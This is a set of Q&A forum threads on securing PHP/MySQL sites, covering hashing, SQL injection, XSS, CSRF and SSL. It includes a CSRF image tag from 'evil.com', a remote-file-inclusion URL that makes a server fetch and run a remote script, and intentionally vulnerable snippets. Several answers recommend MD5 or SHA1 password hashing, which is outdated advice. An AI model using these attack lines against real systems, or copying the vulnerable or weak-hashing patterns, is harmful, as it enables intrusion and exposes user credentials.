I am creating a information system that will handle financial information, contacts, etc. I am developing the site from complete scratch using object oriented programming (classes, functions, etc). A majority of the data will be from a MySQL database. Users will be able to get and submit data to the database.
I am already using the hash function to encrypt data such as passwords, serial keys. I am also using preg_replace() function for all other data going to the database.
What other security measures do I need to take to insure that submitting and getting data from the database does not compromise security?
md5 is a cryptographic hash function. once hashed, it cannot be "un-hashed" back to the original value (one-way) as opposed to encryption which is two-way (encrypt-decrypt).
for security of your data, consider these scenarios and ways of prevention instead of just encryption:
cross-site request forgeries (CRSF) - prevent using form tokens
SSL connection (the "httpS://") to prevent data interception in transport
hash salting to further protect (but not totally) hashed passwords from dictionary attacks. weak and common passwords are the targets in this case.
hashing is not absolute. there is a limit to how many combinations of letters and numbers in a hash. at some point extremely different strings may have the same hash value. this is known as a collision
hashes are prone to brute-force/dictionary attacks. although hashes are one way, one can create a string-hash dictionary, match the hash and figure out the string behind it.
cross-site scripting (XSS) which can include (but not limited to) cookie stealing, click jacking, etc.
SQL injection - ways to trick your SQL when forms are unsanitized
expendable session ids to track user sessions - which should expire in a given amount of time, hence an auto log-out mechanism.
identify your user! user ip address, browser detection, etc to profile your user. any odd data (like sudden change in IP, location etc.) should be considered within a certain threshold. (facebook has this feature. i once accessed my facebook using a proxy - auto lockdown)
preg_replace() will not do much in terms of security. You should familiarize yourself with some basic security/crypto before doing this work. Also, consider the use of a standard cryptographic library for encrypting/decrypting data instead of arbitrarily using hash or regex functions.
Take a look at this: http://php.net/manual/en/book.openssl.php
First: good for you for giving attention to security issues. It's a big subject and one that many people overlook until it's too late. So, kudos to you for seeking more understanding about best practices. :-)
OWASP is a good resource for understanding web security issues.
Another good resource is the SANS report The Top Cyber Security Risks.
Specifically, Cross-Site Scripting (XSS) and SQL Injection are the top two security risks for most websites. You should read about how to design your code to minimize these risks.
I have also designed a presentation SQL Injection Myths and Fallacies that goes deeper into the nature of this issue and methods of defense.
Read the blog You're Probably Storing Passwords Incorrectly by StackOverflow founder Jeff Atwood.
I also cover SQL injection and password hashing in my book SQL Antipatterns Volume 1: Avoiding the Pitfalls of Database Programming.
Hope you have good liability insurance if you are using md5 to secure financial information. Read about md5, http://en.wikipedia.org/wiki/MD5, paying close attention to the line
The security of the MD5 hash function is severely compromised.
You are doing it wrong, because:
md5 is considered broken,
preg_replace() will not give you much.
Consider using already developed, tested and secure frameworks (candidates include Zend Framework, Symphony, Kohana, Yii) for your system. You have a long way before you will achieve security at least nearly as good as standard framework's. Also consider using prepared statements instead of preg_replace() and salted sha1 instead of simple md5, if you still want to reinvent the wheel.
Furthermore:
secure your app against such acronyms as XSS, CSRF,
require SSL at all times (for every request, even for images / styles / scripts),
read security newsletters (you will need them if you want to build secure system for financial activities).
As others have pointed out, md5 is broken. Also, a SHA1 hash is very fast to compute which actually makes it worse as a hashing algo. Instead look at bcrypt. Assuming you're using PHP, the http://www.openwall.com/phpass/ is very a nice password to use that handles hashing and salting for you transparently.
Using preg_replace() for escaping data to the database is a very bad idea. Almost all databases include their own sanitization functions, PHP/MySQL is no exception with mysql_real_escape_string().
Some more points (please note none of these are set in stone):
Sanitize all input
Assume that everything the user sends to your server is designed to cause harm. This includes form submissions, but also URL routes, cookie values, server vars, EVERYTHING. Using a framework will often provide some insulation from this, automatically escaping a lot of data for you.
Escape all output
Assume that everything you display on your site is designed to cause harm. XSS and CSRF are amongst the most common techniques for attacking websites. Escape all text that you output to the browser. Look into using nonces to mitigate attacks.
Use TLS/SSL
If you want to protect your users data enroute, get yourself a signed SSL certificate and set it up. This allows visitors to go to https://yoursite.com securely (or at least more securely if they're the kind of person who does internet banking on coffee shop wifi).
Use a framework
Everyone begins by writing their own framework because they know how to do it right, or don't need the extra complexity or whatever reason they come up with. Unless you're writing a super-specific-niche-application for which PHP probably isn't the right answer anyway, use a framework. I prefer http://kohanaframework.org/, but there's a whole range out there from http://codeigniter.com/ through to http://framework.zend.com/. Frameworks handle session encryption, database escaping, input sanitization and more for you, and because they're used by many people the chance of a bug is much less than code that only one person has worked on.
Secure your infrastructure
This one tends to fly by most people, but make sure you take some time to look at the server(s) you're running on. Are you on a shared account? You don't want to be storing financial information on them then (in some countries it's even illegal too). Apply security patches for your OS/software, make sure you haven't left an old upload script lying around, check your file permissions, use SSH with keys and turn off password logins. Attackers are always looking for the easiest way in.
At the end of the day, the only way to stay secure is to sleep with one eye open, totally paranoid. Watch your logs, install Nagios and set-up some alerts, hire a professional to do a security audit. There's no such thing as 100% secure, but knowing that is half the battle.
I am an experienced PHP developer and I want suggest to you to take a look to this project OWASP_Development_Guide. Every web developer should be use it as a bible. It has been very useful for me and I hope it will be the same for you.
Here a brief description of the document:
The Development Guide provides practical guidance and includes J2EE, ASP.NET, and PHP code samples. The Development Guide covers an extensive array of application-level security issues, from SQL injection through modern concerns such as phishing, credit card handling, session fixation, cross-site request forgeries, compliance, and privacy issues.
Related
I have not santized user inputs and data comming from url etc what i did is i encoded each and every thing in database as base64 even id of tables primary keys.. is it enough to fight against vulnerabilities ?
No, it's not.
All you'll manage to do with that (apart from wasted CPU and space in your database) is to store unsafe data. If done correctly you've protected yourself against SQL injection. But that's all. As soon as you decode the data, you're back with all the problems of unsanitized data.
So unless you're planning to never do anything with what you've stored, you're not safe.
What is the vulnerability you are protecting against? as stated by Mat, you'd be immune to SQL injection but that would be all.
In addition, it is worth noting that base_64 encoding has no security value beyond the removal of SQL injection and it is obvious to any viewer that your data is base_64 encoded, so it is easy to crack.
Might I suggest you read the work of OWASP before you go any further. Some of it is a little dry but most is valuable pre-reading for any web developer. If you just make sure you are covered for their top 10, that will do for a start.
To give some pointers for reading:
DO think about your data. Anything sensitive should be protected. The truly paranoid might consider AES encryption but frankly unless you are storing health, financial or military data, that is probably overkill. Keep your key secret - anyone who can download your db can probably download your key. There are ways to prevent this BTW but your question suggests you are not quite at that level yet.
Where you can, don't encrypt keys as it prevents indexing, and leave trivial data unencrypted. but DO make sure that unencrypted data cannot be used to draw significant conclusions about encrypted data.
DO store passwords as salted hashes. At least if your db is compromised, the hacker will not be able to attack your users' other accounts (they WILL use the same password...)
DON'T use email addresses as usernames AND password resets. It's either/or
DON'T DIY security solutions. AES is good enough for anything short of CIA after all.
DO obfuscate your keys in HTML - there are lots of simple obfuscators on the net.
Do check for an authenticated session for EVERY page that accesses your DB ESPECIALLY AJAX scripts.
DON'T rely on client side authentication - that only stops the stupid. Malicious people can get round it very easily.
FINALLY-
DO use prepared statements for ALL user input.
Sorry to go on a bit, but these issues come up in one form or another every day in this forum and it is worth having a bit of a repeat of them.
Once you are doing/not doing everything on the above list, you will be immune to most serious problems though still far from secure. I have deliberately not fully explained any of the methods as you will learn a huge amount about application security by googling them and reading around a bit.
have fun...
EDIT to answer the comment below.
There is nothing inherently wrong with using base_64 encoding as a means to beat SQL injection. It is completely reliable as base_64 encoding does not include any characters that can upset the sql.
There are a few reasons not to though:
-It is very data intensive, taking a lot more space to store your data.
-It makes searching through your data very inefficient.
-It makes it hard for you to read your data but not harder for an attacker.
-It provides no effective password protection (use a salted hash for these please).
echo base64_encode("Abcde")."<BR>".base64_encode("cd");
demonstrates the search and size issues effectively - you can't use LIKE or wildcards effectively without an extra instruction - WHERE from_base64(field) LIKE '%cd%' will work if you have mysql 5.6.1 or above.
If it suits your particular needs to do it this way, then well and good but I put it to you that you are not learning to do this properly. If you use prepared statements instead, you can store your data efficiently, indexably, scalably, searchably, securely, human-readably and easily-debuggably.
What you are doing will work well enough for a very small site but not for anything larger.
Hey all of you PHP geeks, and hackers, if some of you listen ;o)
I'm creating a login system, for some upcoming site, which a lot of people will be using, I'm sure - or at least I hope so :)
So, my question is: WHEN is my login system and stuff like that secure enough? Is it ever gonna be "secure enough"?
I got form validation, where I check, what's send to the database. My passwords are md5 hashed. And people are told to create strong passwords.
Are there something called: "Secure enough"?
I'm thinking: All the big sites like facebook and stuff like that, must be having more then this? Is it something that I need? And if so, how?
Some links and stuff like that, would be nice. Thanks in forward :o)
Security is a never-ending process. Your code will never be "secure enough." You should apply all of the security techniques you know, and learn those you don't. Then stay current, monitor your logs, and update your code as necessary.
In general, a login system is a bad place to reinvent the wheel. There are plenty of commonly-used systems available that have been checked and rechecked by many eyes, and are probably more secure than any you or I will be able to write ourselves. This is a good opportunity to take advantage of the "wisdom of the masses" and use a well-tested third-party system.
If you're worried about security, you shouldn't use md5 hashes to store your passwords. Md5 is designed to be fast, meaning that if a hacker gets your hashes, they can be cracked quickly. You should use something like bcrypt for storing passwords.
http://codahale.com/how-to-safely-store-a-password/
You have all kinds of security vulnerabilities:
SQL injection
Cross-site scripting (XSS)
Cross-site request forgery (CSRF)
Session attacks
Using nonsecured connection (non-HTTPS)
Passwords in plaintext/weak encrypting
Weak passwords
I recommend you to look them all up and choose a framework for developing web applications that already resolves all or most of these issues for you automatically.
BTW: md5 is not safe anymore, I recommend you to use hash_hmac('sha256', $password, $salt) which also takes care of salting.
It's kinda ironic how I found this after reading over my own question.
Having written a couple of login libraries myself, heres the advice I can give:
Validate form input (server side), to prevent XSS (cross site scripting), CSS injection, & SQL injecttion
for correct length
ctype
If ctype is not alpha numeric add slashes
Add html entities to prevent XSS, if HTML is imperitive use an HTML filter
Use a password strength API to ensure decent passwords
Hash the passwords, and don't forget the salt! Also MD5 is weak, use SHA-256
Log the IPs incase anything goes wrong
Make backups of your SQL databases
With all that said I still suggest you use openID or a php library/class.
On my latest little website, I hope I somewhat avoid some level of complexity with security by using openid, instead of fully implementing my own auth system. Thus, I don't really store passwords.
I believe MD5 in considered weak, but I'm not convinced that really matters - if you can keep your hashes safe - by using openid, I took that component out of the equation for me. Granted, if openid gets owned, then, yeah, obviously that's a problem too.
Still, you want to do a fair bit of input filtering. Do what you can to limit the input you do take in, make sure you're running on a fully patched server (check in often) and be sure you're running processes that can't access things they don't strictly need access to. So, for example, if your web service runs as root, well, then you deserve to have your server turned in to a palace of pr0n.
Just some thoughts - granted, I'm not exactly a security guy.
I have read a lot of these but I have a few questions that I think aren't adequately answered. If there is a link, please refer me to it and I'll be grateful.
I have a PHP login system and it will be a community site where users will register and login. Now I need your help in these things:
What hashing algorithm is enough for most of sites (WP, Joomla, FB, et al)? simple MD5 with salt? or what?
What are attacks I have to deal with that are, apart form top secret sites, existing in community driven site (Juts list of them and may be short explanation of what they are)
What is the best among PDO and MySQLi (I saw PHP recommends the latter but I would like to hear from you guys)
Thanks a lot,
Stefano
1. What hashing algorithm is enough for most of sites (WP, Joomla, FB, et al)? simple MD5 with salt? or what
You should use MD5 with a salt as a bare minimum. Ideally you should use a different hashing algorithm, as MD5 has been proven to be fairly insecure in comparison to other available algorithms. Have a look at the different available ones here hash(). Personally I would use SHA512, with a per-user salt.
Using a per-user salt means that any attacker who gets ahold of your database would have to crack the passwords on a per-user basis, rather than cracking them all at once.
2. What are attacks I have to deal with that are, apart form top secret sites, existing in community driven site
The main attacks would be SQL Injection attacks (either to steal a database, or to inject malicious code into your site). This can also be coupled with a Cross-Site Scripting attack, which could allow an attacker to place their own code onto your site (such a <script> tag), to infect users with viruses.
These two attacks can be mitigated by escaping any variables that are going into your database, and also stripping out any HTML (or special characters) in any user-submitted data.
3. What is the best among PDO and MySQLi
This question I will leave someone else to answer - I'm not as clued up on the differences.
Hope this helps
2) You need to be particularly careful of SQL Injection attacks and XSS (Cross Site scripting). See https://www.owasp.org/index.php/OWASP_Top_Ten_Project for more attack vectors.
3) I've only used MySQLi but thought it was a decent library
I don't think MD5 is very good, hence this MD5 decoder: http://www.md5decrypter.com/
Personally, I use SHA1. The SHA1 decoder I found online does not work. Some say that SHA1 is slower but I cannot understand why you would care if you are just using it for logging in.
Mysqli should prevent injection attacks.
Be sure not to give away too much information on failed log in attempts.
Example of bad: "We recognize your username but your password is incorrect"
Example of good: "The username and password do not match" --> use this for all failed logins, even if the username is NOT in the database.
I know questions like this have been asked a hundred of times, but mine is a little different.
I know about all the common and widely-known security issues like SQL injection, XSS etc. But what about issues that often appear but are not recognized most of the times or not judged as vulnerabilities? Are there any?
One thing I've seen a lot that gets developed as a feature and not seen as a security hole until it's too late are state-changing GET requests. These can easily result in cross-site request forgery. For example, your application could have a link to http://mysite.com/logout which logs users out. But a third party site can add code like this:
<!-- on evil.com site -->
<img src="http://mysite.com/logout">
Then when users load the page on evil.com, they are logged out of mysite.com!
The worst problems happen when sites implement an API using state-changing GET requests. For example, if I ran a social networking site with urls like site.com/addfriend, site.com/sendmessage, etc. and I gave out those urls to developers who were going to make applications for my site, the developers would have to deal with an API change when the security vulnerability was discovered.
Using $_REQUEST instead of $_GET or $_POST, which is a bad idea because $_REQUEST also contains cookies, and it opens the door for Variable Fixation
Not really PHP-specific, applies to all the interpreted languages: visibility of .svn/.CVS directories
Here are a few that I've worked on:
Storing passwords as plaintext in a DB
If your site is hacked, hackers have access to all of your users' passwords and emails. Consider how many users have the same password for their email as well as your site.
Storing emails in the same table as your users
If a SQL injection attack gives a hacker access to your user table, one of the only pieces of valuable information is the email address. Keep it in a separate table to make it more difficult for the hacker.
If you don't intend on emailing the user, only store the hash of their email: a hacker that gets access to user emails can sell them to spammers.
Even if you have a password-protected site, do the math as to how secure the password are. I had a friend whose site used a simple 5-digit number for passwords. I cracked it in
about an hour.
If you're sending communications that have value (i.e.: you're performing an operation that uses a significant amount of resources: cpu, memory, etc.), always require a token from the user that's timestamped.
If a hacker finds that you have an operation that costs you $0.0001 every time it's hit, they can farm out a botnet to rack up charges on your name.
Require the user send a hash (a unique ID for the user, a timestamp, and a secret salt) along with a plaintext timestamp. The plaintext timestamp lets you validate that you didn't give them permission last Tuesday, the timestamp in the hash lets you validate that the has belongs with that message, the UID in the has ensures that the hacker didn't jack the request from someone else, and the secret salt in the hash ensures that they didn't generate it on their own.
If you're writing a plugin system for an application, be wary of what you store in private variables. Check out this article I wrote on how to lock it down.
Just a few ideas and things I've dealt with. Hope it helps!
I worked on a pile of junk once where fopen handlers were enabled as was "register globals." The includes looked like:
<?php
include $MY_BASE . '/includes/myLib.inc';
?>
What this allowed anyone to do is remotely execute any code they wanted. Behold:
http://exploitablehost.com/?MY_BASE=http://viagra.cheeper.com/myScript.txt%3f
PHP will fetch the text file over HTTP and execute it locally. Since Apache was running as root... well, you get the idea.
Lack of procedures to protect against social engineering attacks? For example, an attacker calling an office and impersonating someone for the purpose of obtaining passwords.
Poor password-creation, distribution, and protection policy.
FTP account cracking can result in malicious code being uploaded to your site.
Weak/vulnerable third-party hosting servers can result in your site being compromised no matter how much time you spent making it secure.
Here are some of the common pitfalls i have seen:
1. Not escaping entities
It's basic knowledge; ALL untrusted input (especially user input from forms) has to be sanitized before it is being output.
echo $_GET['username'];
2. Not Escaping SQL input
$query = "select * fromt able where id = {$_GET['id']}";
3. Requiring and including files incorrectly
include($_GET['filename']);
4. Double escaping quotes
If magic_quotes_gpc is true, then using addslahes will add one more slash
thereby adding two slashes in all.
PHP has been around for more than 10 years and it matured a lot.
Beware of lax defaults in php.ini.
Many of the posts are not specific to PHP. I am sure there are some language pitfalls but as you see in the posts it is very important to implement best practices in security (like filtering user input). A good start for secure web apps is OWASP. And to be on topic: Security Issues in PHP on OWASP.
Cheers
I've just landed a PHP5 gig. I won't be handling the parts of the application that involve super sensitive data, but I still know embarrassingly little about security and encryption methods. I only know the very basics (don't store passwords in plaintext, don't allow users to run code using post data, etc). What do I need to know to keep my applications secure, and where can I learn it?
Learn the difference between hashes and encryption. Encryptions are generally two-way interpretations of a string. I can encrypt my password, and then decrypt it to plaintext again. The idea behind hashes are that they become a one-way 'encryption.'
On my sites I store passwords as hashes. Anytime a user signs on, I re-hash their provided password, test it against the hash stored in the database and approve if they match. I cannot send them their password if they forget it, since (generally) there is no way for me to know.Two different strings can translate into the same hash, which makes it (generally) impossible to find out what the original string was.
This is one issue that is good to get a firm understanding of, and discern when to use encryption vs. hashes.
Know not to write your own encryption functionality. An existing, trusted library is best way to go wherever possible. Avoid cool, bleeding edge technologies that lack many successful programmer-hours and user-hours behind them. Know not to trust the functionality you choose until you've thoroughly tested it yourself, first-person. Keep abreast of new developments which may antiquate your chosen functionality overnight. Know that just because you're using the best encryption technology available today that you've protected nothing if you leave the keys on the table (e.g., cleartext is not in a cache or stored in another table in the same database, private keys not left in the open)
Understand the difference between encrypting and hashing
Understand the reason for salts
Understand that HTTP is cleartext
Understand what HTTPS is
Understand that you will never (almost never) be able to create better hashing or encryption methods than what 3rd party libs and built-in libs already do
That technology is not the weakest link in security.
Employees the weakest link in IT security
Security's weakest link: People
Passwords: The Weakest Link?
Weakest Link Security
The Weakest Link
That it can be broken no matter what you do.
Where to learn about security: get Schneier's book Applied Cryptography.
The short answer
You can never be too secure
Use Salted Password Hashing for increased security
The longer answer (still not complete, though)
Security is not something to be learnt by a quick tutorial on the web. It requires in-depth knowledge of not only what vulnerabilities exist, but WHY they exist and HOW they work. One of the biggest problems (especially in open source), is that new methods are added all the time, therefore we must understand security concepts and theory.
Read books, take classes, and test the vulnerabilities yourself on a local machine. Then you'll slowly begin to grasp the concept behind how to secure a web application.
Check Out the following to start you off
Developer's Guide to Web Application
Security
Web Security Testing Cookbook
Applied Cryptography
Please pay attention to following points when you store passwords,
Hashed password is generally more secure because you don't have to keep a secret. However, it prevents you from using other hash-based scheme in your authentication flow. For example, you can't use HTTP Digest authentication with hashed password.
Simple hash is prone to rainbow table attak (http://en.wikipedia.org/wiki/Rainbow_table). Please add a non-reoccuring nonce to the hash or use the nonce as the key to HMAC. The nonce needs to be stored with the passwords. I prepend it to the digest.
If encryption is used, make sure a random Initial Vector is used so same password will be encrypted to different ciphertexts for different user. Otherwise, you are prone to pattern matching attack. MySQL has built-in encryption command. It doesn't inject IV so never use it for passwords.
Save key name/version with the ciphertext so keys can be rotated. Key-rotation is required for compliance with certain standards. Encryption without key information is impossible to decrypt when you are forced to change or rotate keys.
If you follow these advices, your passwords will be safe with any encryption/hash schemes.
Check out the Open Web Application Security Project. They have a lot of information on the current web app security issues and what you need to do to defend against them. OWASP is putting together a Development Guide that provides a lot of good information on web apps and web services development issues.
If you're looking at it from a PHP context, I'd recommend this book:
alt text http://ecx.images-amazon.com/images/I/51sKhc8YUlL._BO2,204,203,200_PIsitb-sticker-arrow-click,TopRight,35,-76_AA240_SH20_OU01_.jpg
Pro PHP Security on Amazon
The thing I really like about this book is it covers much more than just a list of the security-related functions in PHP. A large part of it covers general web security concepts and protection mechanisms. Permissions, principle of least privilege, encryption, hashing, cross-site scripting, cross-site request forgeries, session hijacking, etc. are all covered here, with examples of writing secure code in PHP.
Having taken graduate-level security classes in college, I'm impressed with the coverage in this book. I'd consider it required reading for any professional PHP developer.
First you have to get familiarized with this php methods:
MD5
SHA1
Here you have all cryptography extensions in PHP.